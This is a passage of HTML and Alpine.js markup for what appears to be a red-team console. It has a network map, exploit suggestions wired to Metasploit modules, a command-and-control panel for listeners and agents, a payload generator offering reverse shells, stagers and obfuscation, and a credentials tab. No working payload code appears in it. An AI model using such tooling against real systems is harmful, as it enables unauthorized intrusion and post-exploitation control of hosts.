class="px-2 py-1 rounded text-xs">Advanced</button>
<button @click="networkMapView = 'd3'; $nextTick(() => renderNetworkMap())"
:class="networkMapView === 'd3' ? 'bg-sp-red text-white' : 'bg-sp-grey-light text-sp-white-muted'"
class="px-2 py-1 rounded text-xs">Classic</button>
</div>
<button @click="showPipelineModal = true"
class="bg-yellow-600 hover:bg-yellow-700 px-4 py-2 rounded text-sm transition flex items-center gap-2">
🚀 Recon Pipeline
</button>
<button @click="showRangeScanModal = true"
class="bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded text-sm transition flex items-center gap-2">
🔍 Scan Range
</button>
<button @click="refreshNetworkMap()"
class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded text-sm transition flex items-center gap-2"
:disabled="networkMapLoading">
🔄 Refresh
</button>
</div>
</div>
<!-- Legend (Clickable Filters) -->
<div class="p-3 bg-sp-dark border-b border-sp-grey-mid flex items-center gap-6 text-sm">
<span class="text-sp-white-muted">Filter:</span>
<button @click="toggleOsFilter('Windows')"
:class="osFilters.includes('Windows') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
<span class="text-2xl">🪟</span>
<span :class="osFilters.includes('Windows') ? 'text-white' : 'text-sp-white-muted'">Windows</span>
</button>
<button @click="toggleOsFilter('Linux')"
:class="osFilters.includes('Linux') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
<span class="text-2xl">🐧</span>
<span :class="osFilters.includes('Linux') ? 'text-white' : 'text-sp-white-muted'">Linux</span>
</button>
<button @click="toggleOsFilter('macOS')"
:class="osFilters.includes('macOS') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
<span class="text-2xl">🍎</span>
<span :class="osFilters.includes('macOS') ? 'text-white' : 'text-sp-white-muted'">macOS</span>
</button>
<button @click="toggleOsFilter('router')"
:class="osFilters.includes('router') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
<span class="text-2xl">📡</span>
<span :class="osFilters.includes('router') ? 'text-white' : 'text-sp-white-muted'">Network</span>
</button>
<button @click="toggleOsFilter('server')"
:class="osFilters.includes('server') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
<span class="text-2xl">🖥️</span>
<span :class="osFilters.includes('server') ? 'text-white' : 'text-sp-white-muted'">Server</span>
</button>
<button @click="toggleOsFilter('unknown')"
:class="osFilters.includes('unknown') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
<span class="text-2xl"></span>
<span :class="osFilters.includes('unknown') ? 'text-white' : 'text-sp-white-muted'">Unknown</span>
</button>
<button x-show="osFilters.length > 0" @click="osFilters = []; renderNetworkMap()"
class="ml-2 text-sp-red hover:text-sp-red-light text-xs">
✕ Clear filters
</button>
</div>
<div x-show="networkHosts.length === 0 && !networkMapLoading" class="flex-1 flex items-center justify-center">
<div class="text-center text-sp-white-muted">
<p class="text-6xl mb-4">🗺️</p>
<p class="text-lg">No hosts discovered yet</p>
<p class="text-sm mt-2">Run a network range scan to discover hosts</p>
<button @click="showRangeScanModal = true"
class="mt-4 bg-sp-red hover:bg-sp-red-dark px-6 py-2 rounded transition">
🔍 Scan Network Range
</button>
</div>
</div>
<div x-show="networkMapLoading" class="flex-1 flex items-center justify-center">
<div class="text-center text-sp-white-muted w-96">
<div class="text-4xl mb-4 animate-spin">🔄</div>
<p class="text-lg mb-4">Scanning network...</p>
<!-- Progress Bar -->
<div x-show="networkScanProgress.total > 0" class="mb-4">
<div class="flex justify-between text-sm mb-1">
<span x-text="networkScanProgress.current + ' / ' + networkScanProgress.total"></span>
<span x-text="Math.round((networkScanProgress.current / networkScanProgress.total) * 100) + '%'"></span>
</div>
<div class="w-full bg-sp-grey rounded-full h-3 overflow-hidden">
<div class="bg-sp-red h-3 rounded-full transition-all duration-300"
:style="'width: ' + ((networkScanProgress.current / networkScanProgress.total) * 100) + '%'"></div>
</div>
</div>
<!-- Current IP being scanned -->
<div x-show="networkScanProgress.currentIp" class="text-sm">
<p class="text-sp-white-muted">Currently scanning:</p>
<p class="font-mono text-sp-red" x-text="networkScanProgress.currentIp"></p>
</div>
<!-- Live host count -->
<div class="mt-4 flex justify-center gap-6">
<div class="text-center">
<div class="text-2xl font-bold text-green-400" x-text="networkScanProgress.hostsFound || networkHosts.length"></div>
<div class="text-xs text-sp-white-muted">Hosts Found</div>
</div>
<div class="text-center" x-show="networkScanProgress.total > 0">
<div class="text-2xl font-bold text-sp-white" x-text="networkScanProgress.total - networkScanProgress.current"></div>
<div class="text-xs text-sp-white-muted">Remaining</div>
</div>
</div>
</div>
</div>
<!-- Network Map Containers -->
<div x-show="networkHosts.length > 0 && !networkMapLoading" class="flex-1 network-map-container relative">
<div id="networkMapCytoscape" class="w-full h-full" x-show="networkMapView === 'cytoscape'"></div>
<svg id="networkMapSvg" class="w-full h-full" x-show="networkMapView === 'd3'"></svg>
</div>
<!-- Host Details Panel -->
<div x-show="selectedHost" x-transition
class="absolute right-4 top-32 w-80 bg-sp-dark border border-sp-grey-mid rounded-lg shadow-xl z-10">
<div class="p-4 border-b border-sp-grey-mid flex justify-between items-center">
<h3 class="font-bold text-sp-white flex items-center gap-2">
<span x-text="getDeviceIcon(selectedHost?.os_type)" class="text-2xl"></span>
<span x-text="selectedHost?.hostname || selectedHost?.ip"></span>
</h3>
<button @click="selectedHost = null" class="text-sp-white-muted hover:text-white"></button>
</div>
<div class="p-4 space-y-3 text-sm">
<div class="flex justify-between">
<span class="text-sp-white-muted">IP Address:</span>
<span class="font-mono text-sp-red" x-text="selectedHost?.ip"></span>
</div>
<div class="flex justify-between">
<span class="text-sp-white-muted">OS Type:</span>
<span x-text="selectedHost?.os_type || 'Unknown'"
:class="getOsColor(selectedHost?.os_type)"></span>
</div>
<div x-show="selectedHost?.os_details" class="flex justify-between">
<span class="text-sp-white-muted">OS Details:</span>
<span class="text-sp-white text-right text-xs" x-text="selectedHost?.os_details"></span>
</div>
<div x-show="selectedHost?.mac" class="flex justify-between">
<span class="text-sp-white-muted">MAC Address:</span>
<span class="font-mono text-xs" x-text="selectedHost?.mac"></span>
</div>
<div x-show="selectedHost?.vendor" class="flex justify-between">
<span class="text-sp-white-muted">Vendor:</span>
<span class="text-sp-white" x-text="selectedHost?.vendor"></span>
</div>
<div x-show="selectedHost?.ports && selectedHost.ports.length > 0">
<span class="text-sp-white-muted">Open Ports:</span>
<div class="mt-2 flex flex-wrap gap-1">
<template x-for="port in selectedHost?.ports?.slice(0, 10)" :key="port.port">
<span class="px-2 py-1 bg-sp-grey rounded text-xs font-mono"
x-text="port.port + '/' + port.protocol"></span>
</template>
<span x-show="selectedHost?.ports?.length > 10"
class="px-2 py-1 bg-sp-grey rounded text-xs text-sp-white-muted"
x-text="'+' + (selectedHost.ports.length - 10) + ' more'"></span>
</div>
</div>
<div class="pt-3 border-t border-sp-grey-mid flex gap-2">
<button @click="scanHost(selectedHost.ip)"
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-3 py-2 rounded text-xs">
🔬 Deep Scan
</button>
<button @click="terminalInput = 'nmap -sV ' + selectedHost.ip; activeTab = 'terminal'"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs">
🖥️ Terminal
</button>
</div>
<div class="pt-2">
<button @click="getExploitSuggestions(selectedHost)"
:disabled="exploitLoading"
class="w-full bg-yellow-600 hover:bg-yellow-700 px-3 py-2 rounded text-xs flex items-center justify-center gap-2 transition disabled:opacity-50">
<span x-show="!exploitLoading">💥 Find Exploits</span>
<span x-show="exploitLoading" class="flex items-center gap-2">
<svg class="animate-spin h-4 w-4" viewBox="0 0 24 24">
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4" fill="none"/>
<path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"/>
</svg>
Analyzing...
</span>
</button>
</div>
<!-- Exploit Suggestions List -->
<div x-show="exploitSuggestions.length > 0" class="pt-2 space-y-2 max-h-64 overflow-y-auto">
<template x-for="exploit in exploitSuggestions" :key="exploit.exploit_name">
<div class="bg-sp-black p-2 rounded text-xs border-l-2"
:class="{
'border-red-500': exploit.severity === 'critical',
'border-orange-500': exploit.severity === 'high',
'border-yellow-500': exploit.severity === 'medium',
'border-green-500': exploit.severity === 'low',
'border-blue-500': exploit.severity === 'info'
}">
<div class="flex justify-between items-start mb-1">
<span class="font-semibold text-sp-white" x-text="exploit.exploit_name"></span>
<span :class="{
'bg-red-500/20 text-red-400': exploit.severity === 'critical',
'bg-orange-500/20 text-orange-400': exploit.severity === 'high',
'bg-yellow-500/20 text-yellow-400': exploit.severity === 'medium',
'bg-green-500/20 text-green-400': exploit.severity === 'low',
'bg-blue-500/20 text-blue-400': exploit.severity === 'info'
}" class="px-1.5 py-0.5 rounded text-xs" x-text="exploit.severity"></span>
</div>
<p class="text-sp-white-muted mb-1" x-text="exploit.description"></p>
<div x-show="exploit.cve" class="text-red-400 text-xs mb-1" x-text="exploit.cve"></div>
<div class="flex gap-2 mt-2">
<button x-show="exploit.msf_module"
@click="runMsfModule(exploit.msf_module, selectedHost.ip)"
class="px-2 py-1 bg-sp-grey hover:bg-sp-grey-light rounded text-xs">
🔧 MSF
</button>
<button x-show="exploit.manual_check"
@click="runManualCheck(exploit.manual_check, selectedHost.ip)"
class="px-2 py-1 bg-sp-grey hover:bg-sp-grey-light rounded text-xs">
📋 Check
</button>
</div>
</div>
</template>
</div>
</div>
</div>
<!-- Host List Sidebar -->
<div x-show="networkHosts.length > 0"
class="absolute left-4 top-32 bottom-4 w-64 bg-sp-dark/95 border border-sp-grey-mid rounded-lg overflow-hidden">
<div class="p-3 border-b border-sp-grey-mid">
<h4 class="font-semibold text-sp-white text-sm">Discovered Hosts (<span x-text="networkHosts.length"></span>)</h4>
</div>
<div class="overflow-y-auto" style="max-height: calc(100% - 45px);">
<template x-for="host in networkHosts" :key="host.ip">
<div @click="selectHost(host)"
:class="selectedHost?.ip === host.ip ? 'bg-sp-red/20 border-l-2 border-sp-red' : 'hover:bg-sp-grey'"
class="p-3 cursor-pointer border-b border-sp-grey-mid/50 transition">
<div class="flex items-center gap-2">
<span x-text="getDeviceIcon(host.os_type)" class="text-xl"></span>
<div class="flex-1 min-w-0">
<div class="font-mono text-sm text-sp-red truncate" x-text="host.ip"></div>
<div class="text-xs text-sp-white-muted truncate"
x-text="host.hostname || host.os_type || 'Unknown'"></div>
</div>
<span x-show="host.ports?.length"
class="text-xs bg-sp-grey px-2 py-0.5 rounded"
x-text="host.ports.length + ' ports'"></span>
</div>
</div>
</template>
</div>
</div>
</div>
<!-- C2 Command & Control Tab -->
<div x-show="activeTab === 'c2'" class="flex-1 flex flex-col overflow-hidden">
<div class="p-4 border-b border-sp-grey-mid flex justify-between items-center">
<h2 class="text-lg font-bold text-sp-white flex items-center gap-2">
☠️ Command & Control
<span class="text-sm font-normal text-sp-white-muted">Post-Exploitation Framework</span>
</h2>
<div class="flex gap-2">
<button @click="c2ActivePanel = 'listeners'"
:class="c2ActivePanel === 'listeners' ? 'bg-sp-red' : 'bg-sp-grey hover:bg-sp-grey-light'"
class="px-3 py-1.5 rounded text-sm transition">📡 Listeners</button>
<button @click="c2ActivePanel = 'agents'"
:class="c2ActivePanel === 'agents' ? 'bg-sp-red' : 'bg-sp-grey hover:bg-sp-grey-light'"
class="px-3 py-1.5 rounded text-sm transition">🤖 Agents</button>
<button @click="c2ActivePanel = 'payloads'"
:class="c2ActivePanel === 'payloads' ? 'bg-sp-red' : 'bg-sp-grey hover:bg-sp-grey-light'"
class="px-3 py-1.5 rounded text-sm transition">💾 Payloads</button>
<button @click="c2ActivePanel = 'tasks'"
:class="c2ActivePanel === 'tasks' ? 'bg-sp-red' : 'bg-sp-grey hover:bg-sp-grey-light'"
class="px-3 py-1.5 rounded text-sm transition">📋 Tasks</button>
</div>
</div>
<!-- Listeners Panel -->
<div x-show="c2ActivePanel === 'listeners'" class="flex-1 overflow-auto p-4">
<div class="flex justify-between items-center mb-4">
<h3 class="font-semibold text-sp-white">Active Listeners</h3>
<button @click="showListenerModal = true"
class="bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded text-sm transition flex items-center gap-2">
New Listener
</button>
</div>
<div x-show="c2Listeners.length === 0" class="text-center py-12 text-sp-white-muted">
<p class="text-5xl mb-4">📡</p>
<p>No listeners configured</p>
<p class="text-sm mt-2">Create a listener to receive agent callbacks</p>
</div>
<div class="grid gap-3">
<template x-for="listener in c2Listeners" :key="listener.id">
<div class="bg-sp-grey border border-sp-grey-mid rounded-lg p-4 hover:border-sp-red/50 transition">
<div class="flex items-center justify-between mb-3">
<div class="flex items-center gap-3">
<span :class="listener.status === 'running' ? 'bg-green-500 animate-pulse' : 'bg-sp-red'"
class="w-3 h-3 rounded-full"></span>
<span class="font-mono font-bold text-sp-red" x-text="listener.name"></span>
<span class="px-2 py-0.5 bg-sp-dark rounded text-xs" x-text="listener.type"></span>
</div>
<div class="flex items-center gap-2">
<button @click="toggleListener(listener)"
:class="listener.status === 'running' ? 'bg-yellow-600 hover:bg-yellow-700' : 'bg-green-600 hover:bg-green-700'"
class="px-3 py-1 rounded text-xs transition"
x-text="listener.status === 'running' ? '⏸️ Stop' : '▶️ Start'"></button>
<button @click="deleteListener(listener.id)"
class="bg-sp-grey hover:bg-red-900/50 px-3 py-1 rounded text-xs transition">🗑️</button>
</div>
</div>
<div class="grid grid-cols-4 gap-4 text-sm">
<div><span class="text-sp-white-muted">Bind:</span> <span class="font-mono" x-text="listener.host + ':' + listener.port"></span></div>
<div><span class="text-sp-white-muted">Protocol:</span> <span x-text="listener.protocol"></span></div>
<div><span class="text-sp-white-muted">Connections:</span> <span class="text-green-400" x-text="listener.connections || 0"></span></div>
<div><span class="text-sp-white-muted">Started:</span> <span x-text="listener.started_at || 'N/A'"></span></div>
</div>
</div>
</template>
</div>
</div>
<!-- Agents Panel -->
<div x-show="c2ActivePanel === 'agents'" class="flex-1 overflow-auto p-4">
<div class="flex justify-between items-center mb-4">
<h3 class="font-semibold text-sp-white">Connected Agents (<span x-text="c2Agents.filter(a => a.status === 'active').length"></span> active)</h3>
<button @click="refreshAgents()" class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded text-sm transition">🔄 Refresh</button>
</div>
<div x-show="c2Agents.length === 0" class="text-center py-12 text-sp-white-muted">
<p class="text-5xl mb-4">🤖</p>
<p>No agents connected</p>
<p class="text-sm mt-2">Deploy a payload to establish agent connections</p>
</div>
<div class="space-y-3">
<template x-for="agent in c2Agents" :key="agent.id">
<div class="bg-sp-grey border border-sp-grey-mid rounded-lg overflow-hidden hover:border-sp-red/50 transition"
:class="selectedAgent?.id === agent.id ? 'border-sp-red' : ''">
<div class="p-4">
<div class="flex items-center justify-between mb-3">
<div class="flex items-center gap-3">
<span :class="{
'bg-green-500 animate-pulse': agent.status === 'active',
'bg-yellow-500': agent.status === 'sleeping',
'bg-sp-red': agent.status === 'dead'
}" class="w-3 h-3 rounded-full"></span>
<span class="font-mono font-bold text-sp-red" x-text="agent.hostname"></span>
<span class="text-sp-white-muted">@</span>
<span class="font-mono" x-text="agent.username"></span>
<span x-show="agent.elevated" class="px-2 py-0.5 bg-yellow-500/20 text-yellow-400 rounded text-xs">👑 ADMIN</span>
</div>
<div class="flex items-center gap-2">
<span class="text-xs text-sp-white-muted" x-text="'Last seen: ' + agent.last_seen"></span>
<span :class="{
'bg-green-500/20 text-green-400': agent.status === 'active',
'bg-yellow-500/20 text-yellow-400': agent.status === 'sleeping',
'bg-red-500/20 text-red-400': agent.status === 'dead'
}" class="px-2 py-1 rounded text-xs font-semibold" x-text="agent.status"></span>
</div>
</div>
<div class="grid grid-cols-5 gap-4 text-sm">
<div><span class="text-sp-white-muted">IP:</span> <span class="font-mono" x-text="agent.ip"></span></div>
<div><span class="text-sp-white-muted">OS:</span> <span x-text="agent.os"></span></div>
<div><span class="text-sp-white-muted">Arch:</span> <span x-text="agent.arch"></span></div>
<div><span class="text-sp-white-muted">PID:</span> <span class="font-mono" x-text="agent.pid"></span></div>
<div><span class="text-sp-white-muted">Sleep:</span> <span x-text="agent.sleep + 's'"></span></div>
</div>
</div>
<div class="border-t border-sp-grey-mid px-4 py-2 bg-sp-dark flex gap-2">
<button @click="interactAgent(agent)"
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-3 py-2 rounded text-xs transition">💻 Interact</button>
<button @click="taskAgent(agent, 'shell', 'whoami')"
class="bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition">👤 Whoami</button>
<button @click="taskAgent(agent, 'shell', 'pwd')"
class="bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition">📁 PWD</button>
<button @click="taskAgent(agent, 'ps')"
class="bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition">📊 PS</button>
<button @click="killAgent(agent.id)"
class="bg-sp-grey hover:bg-red-900/50 px-3 py-2 rounded text-xs transition">☠️ Kill</button>
</div>
</div>
</template>
</div>
</div>
<!-- Payloads Panel -->
<div x-show="c2ActivePanel === 'payloads'" class="flex-1 overflow-auto p-4">
<div class="flex justify-between items-center mb-4">
<h3 class="font-semibold text-sp-white">Payload Generator</h3>
</div>
<div class="grid grid-cols-2 gap-6">
<!-- Payload Options -->
<div class="space-y-4">
<div>
<label class="block text-sm text-sp-white-muted mb-2">Payload Type</label>
<select x-model="payloadOptions.type"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
<option value="reverse_shell">🐚 Reverse Shell</option>
<option value="bind_shell">🔗 Bind Shell</option>
<option value="meterpreter">💉 Meterpreter</option>
<option value="beacon">📡 Beacon (HTTP/S)</option>
<option value="powershell">⚡ PowerShell Stager</option>
<option value="python">🐍 Python Stager</option>
</select>
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-2">Listener</label>
<select x-model="payloadOptions.listener"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
<option value="">-- Select Listener --</option>
<template x-for="l in c2Listeners" :key="l.id">
<option :value="l.id" x-text="l.name + ' (' + l.host + ':' + l.port + ')'"></option>
</template>
</select>
</div>
<div class="grid grid-cols-2 gap-4">
<div>
<label class="block text-sm text-sp-white-muted mb-2">LHOST</label>
<input type="text" x-model="payloadOptions.lhost" placeholder="10.10.14.1"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red font-mono">
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-2">LPORT</label>
<input type="number" x-model="payloadOptions.lport" placeholder="4444"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red font-mono">
</div>
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-2">Target OS</label>
<select x-model="payloadOptions.os"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
<option value="linux">🐧 Linux</option>
<option value="windows">🪟 Windows</option>
<option value="macos">🍎 macOS</option>
</select>
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-2">Architecture</label>
<select x-model="payloadOptions.arch"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
<option value="x64">x64</option>
<option value="x86">x86</option>
<option value="arm64">ARM64</option>
</select>
</div>
<div>
<label class="block text-sm text-sp-white-muted mb-2">Output Format</label>
<select x-model="payloadOptions.format"
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
<option value="raw">Raw Shellcode</option>
<option value="exe">EXE Binary</option>
<option value="elf">ELF Binary</option>
<option value="dll">DLL</option>
<option value="ps1">PowerShell Script</option>
<option value="py">Python Script</option>
<option value="base64">Base64 Encoded</option>
</select>
</div>
<div class="flex items-center gap-4">
<label class="flex items-center gap-2 cursor-pointer">
<input type="checkbox" x-model="payloadOptions.encode" class="rounded bg-sp-grey border-sp-grey-mid text-sp-red focus:ring-sp-red">
<span class="text-sm text-sp-white-muted">Encode payload</span>
</label>
<label class="flex items-center gap-2 cursor-pointer">
<input type="checkbox" x-model="payloadOptions.obfuscate" class="rounded bg-sp-grey border-sp-grey-mid text-sp-red focus:ring-sp-red">
<span class="text-sm text-sp-white-muted">Obfuscate</span>
</label>
</div>
<button @click="generatePayload()"
class="w-full bg-sp-red hover:bg-sp-red-dark px-4 py-3 rounded font-semibold transition flex items-center justify-center gap-2">
⚡ Generate Payload
</button>
</div>
<!-- Generated Payload -->
<div class="space-y-4">
<div>
<label class="block text-sm text-sp-white-muted mb-2">Generated Payload</label>
<pre class="bg-sp-black border border-sp-grey-mid rounded p-4 h-64 overflow-auto text-sm font-mono text-green-400" x-text="generatedPayload || '// Payload will appear here...'"></pre>
</div>
<div class="flex gap-2">
<button @click="copyPayload()"
:disabled="!generatedPayload"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition disabled:opacity-50">📋 Copy</button>
<button @click="downloadPayload()"
:disabled="!generatedPayload"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition disabled:opacity-50">⬇️ Download</button>
<button @click="sendToTerminal()"
:disabled="!generatedPayload"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition disabled:opacity-50">🖥️ Terminal</button>
</div>
<div class="bg-sp-dark border border-sp-grey-mid rounded p-4">
<h4 class="font-semibold mb-3 text-sp-white">Quick Payloads</h4>
<div class="grid grid-cols-2 gap-2 text-sm">
<button @click="quickPayload('bash_reverse')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">🐚 Bash Reverse</button>
<button @click="quickPayload('nc_reverse')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">🔌 Netcat Reverse</button>
<button @click="quickPayload('python_reverse')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">🐍 Python Reverse</button>
<button @click="quickPayload('powershell_reverse')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">⚡ PowerShell Reverse</button>
<button @click="quickPayload('php_reverse')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">🐘 PHP Reverse</button>
<button @click="quickPayload('msfvenom')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">💉 MSFVenom Command</button>
</div>
</div>
</div>
</div>
</div>
<!-- Tasks Panel -->
<div x-show="c2ActivePanel === 'tasks'" class="flex-1 overflow-auto p-4">
<div class="flex justify-between items-center mb-4">
<h3 class="font-semibold text-sp-white">Task Queue</h3>
<div class="flex gap-2">
<button @click="clearCompletedTasks()" class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded text-sm transition">🧹 Clear Completed</button>
<button @click="refreshTasks()" class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded text-sm transition">🔄 Refresh</button>
</div>
</div>
<div x-show="c2Tasks.length === 0" class="text-center py-12 text-sp-white-muted">
<p class="text-5xl mb-4">📋</p>
<p>No tasks in queue</p>
<p class="text-sm mt-2">Interact with an agent to queue tasks</p>
</div>
<div class="space-y-3">
<template x-for="task in c2Tasks" :key="task.id">
<div class="bg-sp-grey border border-sp-grey-mid rounded-lg p-4 hover:border-sp-red/50 transition">
<div class="flex items-center justify-between mb-2">
<div class="flex items-center gap-3">
<span :class="{
'bg-blue-500 animate-pulse': task.status === 'pending',
'bg-yellow-500 animate-pulse': task.status === 'running',
'bg-green-500': task.status === 'completed',
'bg-sp-red': task.status === 'failed'
}" class="w-3 h-3 rounded-full"></span>
<span class="font-mono text-sp-red" x-text="task.agent_hostname"></span>
<span class="text-sp-white-muted"></span>
<span class="font-mono text-sp-white" x-text="task.command"></span>
</div>
<span :class="{
'bg-blue-500/20 text-blue-400': task.status === 'pending',
'bg-yellow-500/20 text-yellow-400': task.status === 'running',
'bg-green-500/20 text-green-400': task.status === 'completed',
'bg-red-500/20 text-red-400': task.status === 'failed'
}" class="px-2 py-1 rounded text-xs font-semibold" x-text="task.status"></span>
</div>
<template x-if="task.output">
<pre class="bg-sp-black p-3 rounded text-sm overflow-x-auto border border-sp-grey font-mono text-sp-white-dim mt-2 max-h-48" x-text="task.output"></pre>
</template>
</div>
</template>
</div>
</div>
</div>
<!-- Scan History Tab -->
<div x-show="activeTab === 'scan-history'" class="flex-1 flex flex-col">
<div class="p-4 border-b border-sp-grey-mid flex justify-between items-center">
<h2 class="text-lg font-bold text-sp-white flex items-center gap-2">
📋 Scan History
<span class="text-sm font-normal text-sp-white-muted">(<span x-text="scans.length"></span> scans)</span>
</h2>
<div class="flex gap-2">
<button @click="refreshScans()"
class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded text-sm transition flex items-center gap-2">
🔄 Refresh
</button>
<button @click="clearScanHistory()"
x-show="scans.length > 0"
class="bg-sp-grey hover:bg-red-900/50 px-4 py-2 rounded text-sm transition flex items-center gap-2 text-sp-white-muted hover:text-red-400">
🗑️ Clear All
</button>
</div>
</div>
<div x-show="scans.length === 0" class="flex-1 flex items-center justify-center">
<div class="text-center text-sp-white-muted">
<p class="text-6xl mb-4">📋</p>
<p class="text-lg">No scan history yet</p>
<p class="text-sm mt-2">Run scans from the Phase Tools or Terminal to see them here</p>
</div>
</div>
<div x-show="scans.length > 0" class="flex-1 overflow-auto p-4">
<div class="space-y-3">
<template x-for="scan in scans.slice().reverse()" :key="scan.scan_id">
<div class="bg-sp-grey border border-sp-grey-mid rounded-lg overflow-hidden hover:border-sp-red/50 transition">
<div class="p-4">
<div class="flex items-center justify-between mb-3">
<div class="flex items-center gap-3">
<span :class="{
'bg-yellow-500 animate-pulse': scan.status === 'running' || scan.status === 'pending',
'bg-green-500': scan.status === 'completed',
'bg-sp-red': scan.status === 'failed'
}" class="w-3 h-3 rounded-full"></span>
<span class="font-mono text-sp-red font-bold" x-text="scan.tool"></span>
<span class="text-sp-white-muted"></span>
<span class="font-mono text-sp-white" x-text="scan.target"></span>
</div>
<div class="flex items-center gap-2">
<span class="text-xs text-sp-white-muted" x-text="formatScanTime(scan.created_at)"></span>
<span :class="{
'bg-yellow-500/20 text-yellow-400': scan.status === 'running' || scan.status === 'pending',
'bg-green-500/20 text-green-400': scan.status === 'completed',
'bg-red-500/20 text-red-400': scan.status === 'failed'
}" class="px-2 py-1 rounded text-xs font-semibold" x-text="scan.status"></span>
</div>
</div>
<div class="flex items-center gap-2 flex-wrap">
<template x-if="scan.scan_type">
<span class="px-2 py-1 bg-sp-dark rounded text-xs text-sp-white-muted" x-text="scan.scan_type"></span>
</template>
<template x-if="scan.parsed?.ports?.length">
<span class="px-2 py-1 bg-blue-500/20 text-blue-400 rounded text-xs"
x-text="scan.parsed.ports.length + ' ports found'"></span>
</template>
<template x-if="scan.parsed?.findings?.length">
<span class="px-2 py-1 bg-sp-red/20 text-sp-red rounded text-xs"
x-text="scan.parsed.findings.length + ' findings'"></span>
</template>
<template x-if="scan.parsed?.hosts?.length">
<span class="px-2 py-1 bg-green-500/20 text-green-400 rounded text-xs"
x-text="scan.parsed.hosts.length + ' hosts'"></span>
</template>
</div>
</div>
<div class="border-t border-sp-grey-mid px-4 py-2 bg-sp-dark flex gap-2">
<button @click="viewScanDetails(scan)"
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition">
👁️ View Details
</button>
<button @click="rescanTarget(scan)"
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-3 py-2 rounded text-xs transition"
:disabled="scan.status === 'running' || scan.status === 'pending'">
🔄 Rescan
</button>
<button @click="copyScanCommand(scan)"
class="bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition"
title="Copy command to terminal">
📋
</button>
</div>
</div>
</template>
</div>
</div>
</div>
<!-- Credentials Tab -->
<div x-show="activeTab === 'credentials'" class="flex-1 flex flex-col overflow-hidden">
<div class="p-4 border-b border-sp-grey-mid flex justify-between items-center">
<h2 class="text-lg font-bold text-sp-white flex items-center gap-2">
🔐 Credentials
<span class="text-sm font-normal text-sp-white-muted">(<span x-text="credentials.length"></span> total)</span>
</h2>
<div class="flex gap-2">
<button @click="showCredentialModal = true"
class="bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded text-sm transition flex items-center gap-2"
:disabled="!currentProjectId">
+ Add Credential
</button>
</div>
</div>
<template x-if="!currentProjectId">
<div class="flex-1 flex items-center justify-center text-center p-6">
<div>
<p class="text-5xl mb-4">📁</p>
<p class="text-sp-white-muted text-lg">No Project Selected</p>
<p class="text-sp-white-muted text-sm mt-2">Create or select a project to manage credentials</p>
<button @click="showProjectModal = true" class="mt-4 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded transition">
Create Project
</button>
</div>
</div>
</template>
<template x-if="currentProjectId">
<div class="flex-1 overflow-auto p-4">
<div x-show="credentials.length === 0" class="flex items-center justify-center text-center p-12">
